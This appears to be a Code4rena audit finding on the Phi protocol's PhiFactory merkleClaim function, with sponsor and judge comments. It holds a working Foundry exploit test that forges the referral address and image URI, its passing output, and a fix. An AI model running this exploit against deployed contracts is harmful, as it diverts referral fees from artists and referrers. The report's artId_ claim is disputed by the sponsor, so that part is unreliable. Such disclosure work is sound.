Lack of data validation when users are claiming their art allows malicious user to bypass signature/merkle hash to provide unapproved `ref_`, `artId_` and `imageURI`

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L352-L375 https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L336-L337

Vulnerability details

Vulnerability Summary

In the file PhiFactory.sol,

The lack of checks in merkleClaim allows malicious users to bypass the hash check to pass in their own parameter of choice. The 3 variables that could possibly be manipulated (referral, artId and imageURI) and their impact will be each discussed below.

Missing ref_ and artId_ in validation.

As we can see in merkleClaim:

  (address minter_, address ref_, uint256 artId_) = abi.decode(encodeData_, (address, address, uint256));
  PhiArt storage art = arts[artId_];
  ......
  if (
      !MerkleProofLib.verifyCalldata(
          proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
      )
  ) {
      revert InvalidMerkleProof();
  }
  ......

address ref_ and uint256 artId_ is decoded from encodeData_ which is simbly a bytes data type passed into the function parameter by the user.

Observing the line where the merkle hash is cross-checked:

!MerkleProofLib.verifyCalldata( proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_)))) )

It becomes clear that only minter_ from encodeData_ is checked, leaving ref_ and artId_ to whatever values passed by the user.

By the way, both ref_ and artId_ are explicitly checked in the signatureClaim function:

function signatureClaim(.....) external payable whenNotPaused {
  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) =
      abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));

  if (expiresIn_ <= block.timestamp) revert SignatureExpired();
  if (_recoverSigner(keccak256(encodeData_), signature_) != phiSignerAddress) revert AddressNotSigned();
  .....
}

Hence, to forge ref_ and artId_, malicious users will have to use merkleClaim instead of signatureClaim.

Impact of forging ref_

• Malicious users can pass in their own other account address as ref_, successfully stealing the referral fee from the real ref_ or the artist(who will receive the referal fee if ref_ is set to null).
• Suppose Alice has 2 accounts, when she calls merkleClaim to claim on account 1, she can pass in account 2 as the ref_ to illegally steal the referral fees to offset the cost of minting.
• The reason why Alice has to pass in account 2 instead of account 1 as the ref_ is because in PhiRewards.sol's depositRewards, referral has to be different from minter address in order for Alice to receive the referral fees.

Impact of forging artId_

• Unlike signatureClaim which checks artId_ explicitly, merkleClaim only verifies minter_ and leafPart_ to the credId's merkle root hash.
• Since a Cred can have multiple art linked to it, this becomes a problem.
• Suppose Cred A has Art 1 and Art 2.
• Now, Alice got approval to claim Art 1.
• If the art's verification type was set to "SIGNATURE" and Alice had to call signatureClaim, Alice would only be able to claim Art 1 with that approval signature.
• However if the art's verification type was "MERKLE" instead, when she calls merkleClaim, she will be able to claim Art 2 with only approval for Art 1 by passing the artId_ of Art 2.

Missing imageURI in validation.

We can see in both signatureClaimLine 330 and merkleClaimLine 355, imageURI is passed into the function parameter rather than extracted from the signature and is not involved in the merkle hash check as well.

Since imageURI contains important information about the art details(such as location/directory). This could have a severe impact. When the malicious user is trying to claim an art that he has permission to, he could pass in an imageURI with the location directory of the picture image file pointing to another art which he does not have permission for.

The line advancedTokenURI[tokenId_][to_] = imageURI_; in PhiNFT1155.sol will also be set to an unapproved value.

This will lead to undefined/unsupported behaviours when interacting with the smart contract regarding trying to render an user's art URI.

Proof of concept

Add this function to test/PhiFactory.t.sol:TestPhiFactory

function test_claimHack() public {
  bytes32 expectedRoot = 0xe70e719557c28ce2f2f3545d64c633728d70fbcfe6ae3db5fa01420573e0f34b;
  bytes memory credData = abi.encode(1, owner, "MERKLE", 31_337, expectedRoot);
  bytes memory signCreateData = abi.encode(expiresIn, ART_ID_URL_STRING, credData);
  bytes32 createMsgHash = keccak256(signCreateData);
  bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
  (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
  if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
  phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(
      signCreateData,
      abi.encodePacked(cr, cs),
      IPhiFactory.CreateConfig(participant, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false)
  );

  address Alice = participant; //Original file setup already deals `participant` enough ether to pay for mint fees
  address Alice_2 = address(0x123456); //Alice's account 2
  vm.startPrank(Alice);

  bytes32[] memory proof = new bytes32[](2);
  proof[0] = 0x0927f012522ebd33191e00fe62c11db25288016345e12e6b63709bb618d777d4;
  proof[1] = 0xdd05ddd79adc5569806124d3c5d8151b75bc81032a0ea21d4cd74fd964947bf5;
  address to = 0x1111111111111111111111111111111111111111;
  bytes32 value = 0x0000000000000000000000000000000003c2f7086aed236c807a1b5000000000;
  uint256 artId = 1;
  bytes memory data = abi.encode(artId, to, proof, Alice_2, uint256(1), value, IMAGE_URL2); // Within this line we have the freedome to decide artId, address of referral and the image URL

  bytes memory dataCompressed = LibZip.cdCompress(data);
  uint256 totalMintFee = phiFactory.getArtMintFee(artId, 1);

  phiFactory.claim{ value: totalMintFee }(dataCompressed);
  (, bytes memory response) = phiFactory.phiRewardsAddress().call(abi.encodeWithSignature("balanceOf(address)", Alice_2));
  uint256 balance = abi.decode(response, (uint256));
  console2.log("Alice_2: ", balance); //Alice successfully illegally receives referral fee through her second account
  vm.stopPrank();
}

Run forge test --match-test test_claimHack -vv

Ran 1 test for test/PhiFactory.t.sol:TestPhiFactory
[PASS] test_claimHack() (gas: 1356967)
Logs:
  Alice_2:  50000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.83ms (4.52ms CPU time)

Comments:

• As you can see from the Code and the output, Alice managed to set the referral address to her second account(Alice_2), and received the referral reward of 0.00005 ether. (Which will be a significant sum if Alice was minting high quantity of art, since rewards are calculated by quantity_ * referralReward)
• Alice also managed to manipulate image_uri, encoding IMAGE_URL2 instead of IMAGE_URL into the function parameter. (both IMAGE_URL2 and IMAGE_URL are different variables which are already declared in the original foundry test file)

Recommended Mitigation Steps

In function merkleClaim:

if (
    !MerkleProofLib.verifyCalldata(
-       proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
+       proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, ref_, artId_, mintArgs_.imageURI, leafPart_))))
  )
) {
    revert InvalidMerkleProof();
}

In function signatureClaim:

-  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) = abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));
+  (uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_, string memory uri) = abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32, string));
+  mintArgs_.imageURI = uri;

Tools Used

Manual Review, Foundry, VSCode

Assessed type

Other

[ZaK3939]

1. Regarding the issue with ref_ (referrer address): As you pointed out, the manipulation of referrer addresses is a phenomenon seen on other platforms as well, and may not be considered a significant problem.

2. Incorrect assertion about artId_: The report's claim that "Art 2 can be claimed with only approval for Art 1" misunderstands the actual operation of the code. This assertion is not accurate for the following reasons:

   PhiArt storage art = arts[artId_];
   bytes32 credMerkleRootHash = credMerkleRoot[art.credChainId][art.credId];
   if (minter_ == address(0) || !art.verificationType.eq("MERKLE") || credMerkleRootHash == bytes32(0)) {
   revert InvalidMerkleProof();
   }
   if (
           !MerkleProofLib.verifyCalldata(
               proof_, credMerkleRootHash, keccak256(bytes.concat(keccak256(abi.encode(minter_, leafPart_))))
           )
       ) {
           revert InvalidMerkleProof();
       }

   This code checks the verification type and credMerkleRootHash corresponding to the specified artId_. In other words, even if a different art ID is used, the correct verification information for that art is required. Therefore, it is not possible to claim Art 2 with only the approval for Art 1.

3. Issue with imageURI: The lack of verification for the imageURI parameter remains a potential problem. This could allow unapproved image URLs to be set.

Main issue after correction:

Lack of verification for imageURI:

Attackers may be able to specify unapproved image URLs. This could result in inappropriate images or unintended content being associated with the NFT.

[c4-judge]

fatherGoose1 changed the severity to 2 (Med Risk)

[c4-judge]

fatherGoose1 marked the issue as satisfactory

[fatherGoose1]

Valid medium. The user has the ability to provide any imageURI, potentially to the detriment of the protocol and its users.

[c4-judge]

fatherGoose1 marked the issue as selected for report